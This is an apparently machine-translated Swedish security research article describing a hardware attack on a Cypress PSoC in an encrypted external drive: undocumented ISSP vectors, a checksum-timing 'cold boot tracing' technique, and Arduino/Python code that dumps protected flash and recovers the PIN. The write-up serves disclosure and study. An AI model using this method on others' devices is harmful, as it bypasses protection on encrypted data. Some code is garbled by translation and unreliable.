Detta är den andra och avslutande delen av artikeln om hackning av externa självskrypterande enheter. Jag påminner om att min kollega nyligen gav mig hårddisken Patriot (Aigo) SK8671, som jag bestämde mig för att återvända, och nu delar jag med mig av resultaten. Innan du läser vidare, se till att du gör dig bekant med den första delen artiklar.

4. Vi börjar ta en dump från den interna flashminnet PSoC
5. ISSP-protokoll
– 5.1. Vad är ISSP
– 5.2. Avmystifiering av vektorer
– 5.3. Kommunikation med PSoC
– 5.4. Identifiering av interna chipregister
– 5.5. Skyddande bitar
6. Den första (misslyckade) attacken: ROMX
7. Den andra attacken: spårning med kall omstart
– 7.1. Implementering
– 7.2. Läser av resultatet
– 7.3. Återskapande av flash-binärfil
– 7.4. Hittar adressen för lagring av pinkoden
– 7.5. Tar en dump av block nr 126
– 7.6. Återställning av pinkoden
8. Vad händer härnäst?
9. Slutsats

4. Vi börjar ta en dump från den interna flashminnet PSoC

Så allt tyder på (som vi fastställde i [den första delen]()), att pinkoden lagras i flashminnet hos PSoC. Därför behöver vi läsa dessa flashminnen. Fronterna för vårt arbete är:

• att ta kontroll över "kommunikationen" med mikrokontrollern;
• att hitta ett sätt att kontrollera om denna "kommunikation" är skyddad mot extern avläsning;
• att hitta ett sätt att kringgå skyddet.

Det finns två ställen där det är meningsfullt att leta efter en fungerande pinkod:

• intern flashminne;
• SRAM, där pinkoden kan lagras för att jämföra den med den pinkod som användaren anger.

Som en förhandsvisning kan jag nämna att jag faktiskt lyckades ta en dump av det interna flashminnet hos PSoC, – genom att kringgå dess skyddssystem, via en hårdvaruattack "spårning med kall omstart" – efter att ha återvänt otokumenterade funktioner av ISSP-protokollet. Detta gjorde det möjligt för mig att direkt ta en dump av den aktuella pinkoden.

$ ./psoc.py 
syncing: KO OK
[...]
PIN: 1 2 3 4 5 6 7 8 9

Den slutliga programkoden:

• Arduino-kod för HSSP;
• drivrutin på Python och ISSP-disassembler.

5. ISSP-protokoll

5.1. Vad är ISSP

"Kommunikationen" med mikrokontrollern kan betyda olika saker: från "tillverkare till tillverkare", till interaktion med användning av seriella protokoll (t.ex. ICSP för Microchip's PIC).

För Cypress finns det ett eget proprietärt protokoll, kallat ISSP (in-system serial programming protocol; intranätets seriella programmeringsprotokoll), som delvis beskrivs i teknisk specifikation. Patent US7185162 ger även viss information. Det finns också en OpenSource-analog kallad HSSP (vi kommer att använda den lite senare). ISSP fungerar på följande sätt:

• starta om PSoC;
• skicka ut det magiska talet på datalinjen för denna PSoC; för att gå in i extern programmeringsläge;
• skicka kommandon som består av långa bitsträngar, kallade "vektorer".

I dokumentationen för ISSP definieras dessa vektorer endast för en liten handfull kommandon:

• Initialize-1
• Initialize-2
• Initialize-3 (varianter 3V och 5V)
• ID-SETUP
• READ-ID-WORD
• SET-BLOCK-NUM: 10011111010dddddddd111, där dddddddd=block #
• BULK ERASE
• PROGRAM-BLOCK
• VERIFY-SETUP
• READ-BYTE: 10110aaaaaaZDDDDDDDDZ1, där DDDDDDDD = dataut, aaaaaa = adress (6 bitar)
• WRITE-BYTE: 10010aaaaaadddddddd111, där dddddddd = datain, aaaaaa = adress (6 bitar)
• SECURE
• CHECKSUM-SETUP
• READ-CHECKSUM: 10111111001ZDDDDDDDDZ110111111000ZDDDDDDDDZ1, där DDDDDDDDDDDDDDDD = dataut: kontrollsumma för enheten
• ERASE BLOCK

Till exempel, vektorn för Initialize-2:

1101111011100000000111 1101111011000000000111
1001111100000111010111 1001111100100000011111
1101111010100000000111 1101111010000000011111
1001111101110000000111 1101111100100110000111
1101111101001000000111 1001111101000000001111
1101111000000000110111 1101111100000000000111
1101111111100010010111

Alla vektorer har samma längd: 22 bitar. I dokumentationen för HSSP finns några ytterligare upplysningar om ISSP: "ISSP-vektorn är inget annat än en bitsekvens som representerar en uppsättning instruktioner".

5.2. Avmystifiering av vektorer

Vi ska ta reda på vad som händer här. Jag antog ursprungligen att dessa vektorer är raw-varianter av M8C-instruktioner, men efter att ha kontrollerat denna hypotes upptäckte jag att operationens opkoder inte stämmer överens.

Sedan googlade jag den ovanstående vektorn och stötte på detta forskningsarbete, där författaren, även om han inte dyker ner i detaljer, ger några användbara ledtrådar: "Varje instruktion börjar med tre bitar som motsvarar en av fyra mnemonics (läsa från RAM, skriva till RAM, läsa register, skriva register). Därefter kommer en 8-bitars adress, följt av 8 bitar data (lästa eller för skrivning) och slutligen tre stopp-bitar."

Sedan lyckades jag få tag på mycket nyttig information från avsnittet "Supervisory ROM (SROM)" i den tekniska handboken. SROM är en hårdkodad ROM i PSoC som tillhandahåller servicetjänster (på liknande sätt som Syscall) – för programkod som körs i användarutrymme:

• 00h: SWBootReset
• 01h: ReadBlock
• 02h: WriteBlock
• 03h: EraseBlock
• 06h: TableRead
• 07h: CheckSum
• 08h: Calibrate0
• 09h: Calibrate1

Genom att jämföra vektorernas namn med SROM-funktionerna kan vi koppla samman de olika operationer som stöds av detta protokoll med de förväntade SROM-parametrarna. Tack vare detta kan vi avkoda de första tre bitarna av ISSP-vektorerna:

• 100 => “wrmem”
• 101 => “rdmem”
• 110 => “wrreg”
• 111 => “rdreg”

Men en fullständig förståelse av de interna chip-processerna kan endast uppnås genom direkt kommunikation med PSoC.

5.3. Kommunikation med PSoC

Eftersom Dirk Petrahutski redan har portat Cypress HSSP-kod till Arduino, använde jag Arduino Uno för att ansluta till ISSP-porten på tangentbordet.

Observera att jag under min forskning gjorde betydande ändringar i Dirks kod. Min modifiering kan hittas på GitHub: här och motsvarande Python-skript för att kommunicera med Arduino i mitt förråd cypress_psoc_tools.

Så, när jag använde Arduino använde jag först endast de "officiella" vektorerna för "kommunikation". Jag försökte läsa den interna ROM:en med kommandot VERIFY. Som förväntat lyckades jag inte med detta. Troligtvis för att bitarna för skydd mot avläsning är aktiverade inuti flashminnet.

Därefter skapade jag några av mina egna enkla vektorer för att skriva och läsa minnen/registret. Observera att vi kan läsa hela SROM, trots att flashminnet är skyddat!

5.4. Identifiering av interna chip-register

Genom att titta på de "dissassemblerade" vektorerna upptäckte jag att enheten använder odokumenterade register (0xF8-0xFA) för att ange M8C-opkoder som körs direkt, förbi skyddet. Detta gjorde att jag kunde köra olika opkoder som "ADD", "MOV A, X", "PUSH" eller "JMP". Genom att observera de bieffekter som de hade på registren kunde jag avgöra vilka av de odokumenterade registren som faktiskt är vanliga register (A, X, SP och PC).

Som ett resultat ser den "dissassemblerade" koden, genererad av verktyget HSSP_disas.rb, ut så här (för tydlighetens skull har jag lagt till kommentarer):

--== init2 ==--
[DE E0 1C] wrreg CPU_F (f7), 0x00   # återställ flaggor
[DE C0 1C] wrreg SP (f6), 0x00      # återställ SP
[9F 07 5C] wrmem KEY1, 0x3A     # obligatoriskt argument för SSC
[9F 20 7C] wrmem KEY2, 0x03     # på samma sätt
[DE A0 1C] wrreg PCh (f5), 0x00     # återställ PC (MSB) ...
[DE 80 7C] wrreg PCl (f4), 0x03     # (LSB) ... upp till 3 ??
[9F 70 1C] wrmem POINTER, 0x80      # RAM-peking för utdata
[DF 26 1C] wrreg opc1 (f9), 0x30        # Opkod 1 => "HALT"
[DF 48 1C] wrreg opc2 (fa), 0x40        # Opkod 2 => "NOP"
[9F 40 3C] wrmem BLOCKID, 0x01  # BLOCK ID för att anropa SSC
[DE 00 DC] wrreg A (f0), 0x06       # "Syscall"-nummer: TableRead
[DF 00 1C] wrreg opc0 (f8), 0x00        # Opkod för SSC, "Supervisory SROM Call"
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12    # Icke dokumenterad operation: utför extern opkod

5.5. Skyddsbit

Vid det här laget kan jag redan kommunicera med PSoC, men jag har fortfarande ingen pålitlig information om skyddsbitarna för flashminnet. Jag blev mycket förvånad över att Cypress inte ger användaren av enheten något sätt att kontrollera om skyddet är aktiverat. Jag grävde djupt i Google för att helt förstå att HSSP-koden som tillhandahålls av Cypress hade uppdaterats efter att Dirk hade släppt sin modifiering. Och här! En ny vektor dök upp:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[9F A0 1C] wrmem 0xFD, 0x00 # okända argument
[9F E0 1C] wrmem 0xFF, 0x00 # på samma sätt
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 02 1C] wrreg A (f0), 0x10   # icke dokumenterad syscall !
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Genom att använda denna vektor (se read_security_data i psoc.py) får vi alla skyddsbitars värden i SRAM vid 0x80, där varje skyddad block har två bitar.

Resultatet är nedslående: allt är skyddat i läget "avaktivera extern läsning och skrivning". Därför kan vi inte bara läsa från flashminnet, utan även skriva till det (till exempel för att införa en ROM-dumpare). Det enda sättet att inaktivera skyddet är att helt radera hela chipet. 🙁

6. Den första (misslyckade) attacken: ROMX

Men vi kan försöka med ett trick: eftersom vi har möjlighet att köra godtyckliga opkoder, varför inte utföra ROMX som används för att läsa flashminnet? Denna metod har goda chanser att lyckas. Eftersom funktionen ReadBlock, som läser data från SROM (som används av vektorer), kollar om den anropas från ISSP. Men opkoden ROMX har antagligen ingen sådan kontroll. Så här är Python-koden (efter att ha lagt till några hjälpkopplade klasser i C-koden för Arduino):

för i i intervallet (0, 8192):
 write_reg(0xF0, i>>8) # A = 0
 write_reg(0xF3, i&0xFF) # X = 0
 exec_opcodes("x28x30x40") # ROMX, HALT, NOP
 byte = read_reg(0xF0) # ROMX läser ROM[A|X] till A
 print "x" % ord(byte[0]) # skriv ut ROM-byte

Tyvärr fungerar denna kod inte. 🙁 Även om den gör det, får vi våra egna opkoder (0x28 0x30 0x40)! Jag tror inte att den motsvarande funktionen hos enheten är ett skydd mot läsning. Det liknar mer ett ingenjörstrick: när externa opkoder körs, omdirigeras ROM-bussen till en buffert.

7. Den andra attacken: spårning med kall omstart

Eftersom tricket med ROMX misslyckades, började jag fundera på en annan variation av detta trick – beskriven i publikationen «Shedding too much Light on a Microcontroller’s Firmware Protection».

7.1. Genomförande

I dokumentationen för ISSP anges följande vektor för CHECKSUM-SETUP:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[9F 40 1C] wrmem BLOCKID, 0x00
[DE 00 FC] wrreg A (f0), 0x07
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Här kallas i princip SROM-funktionen 0x07, som anges i dokumentationen (kursiv min):

Denna funktion kontrollerar kontrollsumman. Den beräknar en 16-bitars kontrollsumma av det antal block som användaren anger – i ett flashminne, räknat från noll. Parametern BLOCKID används för att ange antalet block som ska användas för beräkningen av kontrollsumman. Värdet «1» beräknar kontrollsumman endast för nollblocket; medan «0» innebär att den totala kontrollsumman för alla 256 block av flashminnet kommer att beräknas. Den 16-bitars kontrollsumman returneras via KEY1 och KEY2. I parameteret KEY1 lagras de lägre 8 bitarna av kontrollsumman, och i KEY2 – de högre 8 bitarna. För enheter med flera flashminnen anropas kontrollsumman för varje enhet individuellt. Flashbankens nummer, som den ska arbeta med, anges av registret FLS_PR1 (genom att ställa in den bit som motsvarar mål-flashbanken).

Observera att detta är en mycket enkel kontrollsumma: bajter summeras helt enkelt en efter en; inga avancerade CRC-tricks. Dessutom, med vetskap om att registeruppsättningen i M8C-kärnan är mycket liten, antog jag att mellanliggande värden under beräkningen av kontrollsumman skulle lagras i samma variabler som slutligen skulle gå ut: KEY1 (0xF8) / KEY2 (0xF9).

Så, i teorin ser min attack ut så här:

1. Anslut via ISSP.
2. Starta beräkningen av kontrollsumman med CHECKSUM-SETUP vektorn.
3. Starta om processorn efter en angiven tid T.
4. Läs RAM för att få den aktuella kontrollsumman C.
5. Upprepa steg 3 och 4, varje gång öka T lite.
6. Återställ data från flashminnet genom att subtrahera den tidigare kontrollsumman C från den aktuella.

Dock uppstod ett problem: vektorn Initialize-1, som vi måste skicka efter omstart, överskriver KEY1 och KEY2:

1100101000000000000000  # Magin som sätter PSoC i programmeringsläge
nop
nop
nop
nop
nop
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A # kontrollsumman skrivs över här
[9F 20 7C] wrmem KEY2, 0x03 # och här
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 01 3C] wrreg A (f0), 0x09   # SROM-funktion 9
[DF 00 1C] wrreg opc0 (f8), 0x00    # SSC
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Denna kod överskriver vår värdefulla kontrollsumma genom att anropa Calibrate1 (SROM-funktion 9)… Kanske lyckas vi genom att bara skicka det magiska numret (från början av ovanstående kod) gå in i programmeringsläge och sedan läsa SRAM? Och ja, det fungerar! Arduino-koden som implementerar denna attack är ganska enkel:

fall Cmnd_STK_START_CSUM:
 checksum_delay = ((uint32_t)getch())<<24;
 checksum_delay |= ((uint32_t)getch())<<16;
 checksum_delay |= ((uint32_t)getch())< 10000) {
 ms_delay = checksum_delay/1000;
 checksum_delay = checksum_delay00;
 }
 annars {
 ms_delay = 0;
 }
 send_checksum_v();
 om(checksum_delay)
 delayMicroseconds(checksum_delay);
 delay(ms_delay);
 start_pmode();

1. Läs checkum_delay.
2. Starta beräkningen av kontrollsumman (send_checksum_v).
3. Vänta en angiven tidsperiod; med hänsyn till följande fallgropar:
   • Jag har slösat bort massor av tid innan jag insåg att delayMicroseconds fungerar korrekt endast med fördröjningar som inte överstiger 16383 µs;
   • och sedan slösade jag lika mycket tid tills jag upptäckte att delayMicroseconds, om man ger den 0 som input, fungerar helt felaktigt!
4. Starta om PSoC i programmeringsläge (skicka bara det magiska numret, utan att skicka initierande vektorer).

Den slutgiltiga koden i Python:

för delay i intervallet (0, 150000): # fördröjning i mikrosekunder
 för i i intervallet (0, 10): # antal läsningar för varje fördröjning
 försök:
 reset_psoc(quiet=True) # omstart och gå in i programmeringsläge
 send_vectors(); # skicka initieringsvektorer
 ser.write("x85"+struct.pack(">I", delay)) # beräkna kontrollsumman + starta om efter fördröjning
 res = ser.read(1); # läs arduino ACK
 utom Exception som e:
 print e;
 ser.close();
 os.system("timeout -s KILL 1s picocom -b 115200 /dev/ttyACM0 2>&1 > /dev/null");
 ser = serial.Serial('/dev/ttyACM0', 115200, timeout=0.5); # öppna seriell port
 fortsätta;
 print "d X X X" % (delay, # läs RAM-byte
 read_regb(0xf1),
 read_ramb(0xf8),
 read_ramb(0xf9))

Kort sagt, vad gör den här koden:

1. Den startar om PSoC (och skickar det magiska numret till den).
2. Den skickar fullständiga initieringsvektorer.
3. Den anropar Arduino-funktionen Cmnd_STK_START_CSUM (0x85), där fördröjningen i mikrosekunder skickas som parameter.
4. Den läser kontrollsumman (0xF8 och 0xF9) och den outnyttjade registret 0xF1.

Denna kod körs 10 gånger per mikrosekund. 0xF1 är inkluderad här eftersom det var det enda registret som ändrades vid beräkning av kontrollsumman. Det kan vara en temporär variabel som används av den aritmetisk-logiska enheten. Observera den fula hacken genom vilken jag startar om Arduino, med hjälp av picocom, när Arduino slutar ge livstecken (jag har ingen aning om varför).

7.2. Läsa resultatet

Resultatet av Python-skriptet ser ut så här (förenklat för läsbarhet):

DELAY F1 F8 F9  # F1 – den ovan nämnda okända registret
                  # F8 lägre byte av kontrollsumman
                  # F9 högre byte av kontrollsumman

00000 03 E1 19
[...]
00016 F9 00 03
00016 F9 00 00
00016 F9 00 03
00016 F9 00 03
00016 F9 00 03
00016 F9 00 00  # kontrollsumman nollställs till 0
00017 FB 00 00
[...]
00023 F8 00 00
00024 80 80 00  # 1:a byte: 0x0080-0x0000 = 0x80 
00024 80 80 00
00024 80 80 00
[...]
00057 CC E7 00   # 2:a byte: 0xE7-0x80: 0x67
00057 CC E7 00
00057 01 17 01  # jag har ingen aning om vad som händer här
00057 01 17 01
00057 01 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 F8 E7 00  # Återigen E7?
00058 D0 17 01
[...]
00059 E7 E7 00
00060 17 17 00  # Hmmm
[...]
00062 00 17 00
00062 00 17 00
00063 01 17 01  # Åh, jag förstår! Det är överföringen till högre byte
00063 01 17 01
[...]
00075 CC 17 01  # Så, 0x117-0xE7: 0x30

Vi har dock ett problem: eftersom vi hanterar den faktiska kontrollsumman, ändrar inte null byte det lästa värdet. Men eftersom hela beräkningsproceduren (8192 byte) tar 0,1478 sekunder (med små avvikelser vid varje körning), vilket motsvarar cirka 18,04 µs per byte, – kan vi använda den tiden för att kontrollera värdet av kontrollsumman vid lämpliga tidpunkter. För de första genomgångarna läses allt ganska enkelt, eftersom tiden för att utföra beräkningsproceduren alltid är nästan densamma. Men slutet av dumpen är mindre exakt, eftersom "obetydliga tidsavvikelser" vid varje körning – summeras och blir signifikanta:

134023 D0 02 DD
134023 CC D2 DC
134023 CC D2 DC
134023 CC D2 DC
134023 FB D2 DC
134023 3F D2 DC
134023 CC D2 DC
134024 02 02 DC
134024 CC D2 DC
134024 F9 02 DC
134024 03 02 DD
134024 21 02 DD
134024 02 D2 DC
134024 02 02 DC
134024 02 02 DC
134024 F8 D2 DC
134024 F8 D2 DC
134025 CC D2 DC
134025 EF D2 DC
134025 21 02 DD
134025 F8 D2 DC
134025 21 02 DD
134025 CC D2 DC
134025 04 D2 DC
134025 FB D2 DC
134025 CC D2 DC
134025 FB 02 DD
134026 03 02 DD
134026 21 02 DD

Det är 10 dumpningar för varje mikrosekunds fördröjning. Den totala tiden för att ta dumpen av alla 8192 byte från flashminnet, är cirka 48 timmar.

7.3. Återställning av flash-binärfil

Jag har ännu inte avslutat skrivandet av koden som fullständigt återställer flashminnets programkod, med hänsyn till alla tidsavvikelser. Men jag har redan återställt början av koden. För att säkerställa att jag har gjort detta korrekt, disassemblerade jag den med hjälp av m8cdis:

0000: 80 67   jmp  0068h     ; Återställningsvektor
[...]
0068: 71 10   or  F,010h
006a: 62 e3 87 mov  reg[VLT_CR],087h
006d: 70 ef   and  F,0efh
006f: 41 fe fb and  reg[CPU_SCR1],0fbh
0072: 50 80   mov  A,080h
0074: 4e    swap A,SP
0075: 55 fa 01 mov  [0fah],001h
0078: 4f    mov  X,SP
0079: 5b    mov  A,X
007a: 01 03   add  A,003h
007c: 53 f9   mov  [0f9h],A
007e: 55 f8 3a mov  [0f8h],03ah
0081: 50 06   mov  A,006h
0083: 00    ssc
[...]
0122: 18    pop  A
0123: 71 10   or  F,010h
0125: 43 e3 10 or  reg[VLT_CR],010h
0128: 70 00   and  F,000h ; Paging-läge ändrat från 3 till 0
012a: ef 62   jacc 008dh
012c: e0 00   jacc 012dh
012e: 71 10   or  F,010h
0130: 62 e0 02 mov  reg[OSC_CR0],002h
0133: 70 ef   and  F,0efh
0135: 62 e2 00 mov  reg[INT_VC],000h
0138: 7c 19 30 lcall 1930h
013b: 8f ff   jmp  013bh
013d: 50 08   mov  A,008h
013f: 7f    ret

Det verkar helt trovärdigt!

7.4. Vi hittar adressen för lagring av pinkoden

Nu när vi kan läsa kontrollsumman vid de tidpunkter vi behöver, kan vi enkelt kontrollera hur och var den ändras när vi:

• anger felaktig pinkod;
• ändrar pinkod.

I början, för att hitta en ungefärlig lagringsadress, tog jag en dump av kontrollsumman med ett intervall på 10 ms efter omstart. Sedan angav jag en felaktig pinkod och gjorde samma sak.

Resultatet var inte så trevligt, eftersom det fanns många förändringar. Men till slut lyckades jag fastställa att kontrollsumman förändrades någonstans mellan 120000 µs och 140000 µs fördröjning. Men "pinkoden" som jag upptäckte där var helt fel – på grund av artefakten i delayMicroseconds-proceduren, som gör märkliga saker när den får 0 som parameter.

Sedan, efter att ha spenderat nästan 3 timmar, kom jag ihåg att SROM-systemanropet CheckSum tar ett argument som anger antalet block för kontrollsumman! Således kan vi enkelt lokalisera adressen för lagring av pinkoden och räknaren för "felaktiga försök", med noggrannhet till 64-bytes block.

Mina initiala körningar gav följande resultat:

Sedan ändrade jag pinkoden från "123456" till "1234567" och fick:

Således verkar pinkoden och räknaren för felaktiga försök lagras i block nr 126.

7.5. Tar dumpen av block nr 126

Block nr 126 bör ligga någonstans runt 125x64x18 = 144000µs, från början av beräkningen av kontrollsumman, i min fullständiga dump, och det verkar helt trovärdigt. Sedan, efter manuellt utsortering av många felaktiga dumps (på grund av uppsamling av "obetydliga tidsavvikelser"), fick jag tills slut följande bytes (vid 145527µs fördröjning):

Det är uppenbart att PIN-koden lagras i okrypterad form! Dessa värden är visserligen inte skrivna i ASCII-koder, men de speglar tydligen värden som tagits från en kapacitativt tangentbord.

Äntligen har jag genomfört några fler tester för att hitta var räknaren för felaktiga försök lagras. Här är resultaten:

0xFF – betyder "15 försök", och den minskar vid varje felaktigt försök.

7.6. Återställning av PIN-koden

Här är min fula kod som samlar allt ovanstående:

def dump_pin():
 pin_map = {0x24: "0", 0x25: "1", 0x26: "2", 0x27:"3", 0x20: "4", 0x21: "5",
 0x22: "6", 0x23: "7", 0x2c: "8", 0x2d: "9"};
 last_csum = 0;
 pin_bytes = [];
 för delay i intervallet (145495, 145719, 16):
 csum = csum_at(delay, 1);
 byte = (csum-last_csum)&0xFF;
 print "d x (x) => x" % (delay, csum, last_csum, byte);
 pin_bytes.append(byte);
 last_csum = csum;
 print "PIN: ";
 för i i intervallet (0, len(pin_bytes)):
 om pin_bytes[i] i pin_map:
 print pin_map[pin_bytes[i]],
 print

Här är resultatet av dess körning:

$ .\/psoc.py 
syncing: KO OK
Resetting PSoC: KO Resetting PSoC: KO Resetting PSoC: OK
145495 53e2 (0000) => e2
145511 5407 (53e2) => 25
145527 542d (5407) => 26
145543 5454 (542d) => 27
145559 5474 (5454) => 20
145575 5495 (5474) => 21
145591 54b7 (5495) => 22
145607 54da (54b7) => 23
145623 5506 (54da) => 2c
145639 5506 (5506) => 00
145655 5533 (5506) => 2d
145671 554c (5533) => 19
145687 554e (554c) => 02
145703 554e (554e) => 00
PIN: 1 2 3 4 5 6 7 8 9

Hooray! Det fungerar!

Observera att de fördröjningsvärden jag använde troligen är aktuella för en specifik PSoC – den jag använde.

8. Vad händer härnäst?

Så, låt oss sammanfatta vad som sidans på PSoC, i kontexten av vår Aigo-enhet:

• Vi kan läsa från SRAM, även om den är skyddad mot avläsning;
• Vi kan kringgå skyddet mot avläsning genom att utföra en "cold boot tracing" attack och direkt avläsning av PIN-koden.

Ändå har vår attack vissa brister – på grund av synkroniseringsproblem. Den kan förbättras på följande sätt:

• Utveckla ett verktyg för korrekt avkodning av utdata som erhållits från "cold boot tracing" attacken;
• Använda en FPGA-tillägg för att skapa mer exakta tidsfördröjningar (eller använda hårdvarutimerar från Arduino);
• försöka en annan attack: skriva in en avsiktligt felaktig PIN-kod, starta om och dumpa RAM, i hopp om att den korrekta PIN-koden finns kvar i RAM för jämförelse. Men på Arduino är det inte så enkelt, eftersom signalnivån för Arduino är 5 volt, medan det kort vi undersöker arbetar med signaler på 3,3 volt.

En intressant sak som man skulle kunna prova är att leka med spänningsnivån för att kringgå skyddet mot läsning. Om en sådan metod skulle fungera, skulle vi kunna få helt exakta data från flash-minnet, istället för att förlita oss på att läsa kontrollsumman med osäkra tidsfördröjningar.

Eftersom SROM sannolikt läser skyddsbitarna via systemanropet ReadBlock, skulle vi kunna göra samma sak som beskrivet i Dmitrij Nedospasovs blogg – en återimplementering av Chris Gerlinzkys attack, som publicerades på konferensen „REcon Brussels 2017“.

En annan rolig sak som man skulle kunna göra är att slipa av kapslingen från chipet: för att ta en dump av SRAM, identifiera dokumenterade systemanrop och sårbarheter.

9. Slutsats

Så skyddet av denna enhet lämnar mycket att önska, eftersom den använder en vanlig (inte „härdad“) mikrokontroller för att lagra PIN-koden… Plus att jag ännu inte har kollat (än) hur det står till med datakrypteringen på denna enhet!

Vad kan man rekommendera för Aigo? Genom att analysera ett par modeller av krypterade HDD-enheter gjorde jag 2015 presentationen på SyScan, där jag diskuterade säkerhetsproblem med flera externa HDD-enheter, och gav rekommendationer om vad som skulle kunna förbättras. 🙂

Jag lade två helger och några kvällar på denna forskning. Totalt cirka 40 timmar. Från början (när jag öppnade disken) till slutet (dump av PIN-koden). Dessa 40 timmar inkluderar även tiden jag lade ner på att skriva denna artikel. En mycket fascinerande resa.

Källa: habr.com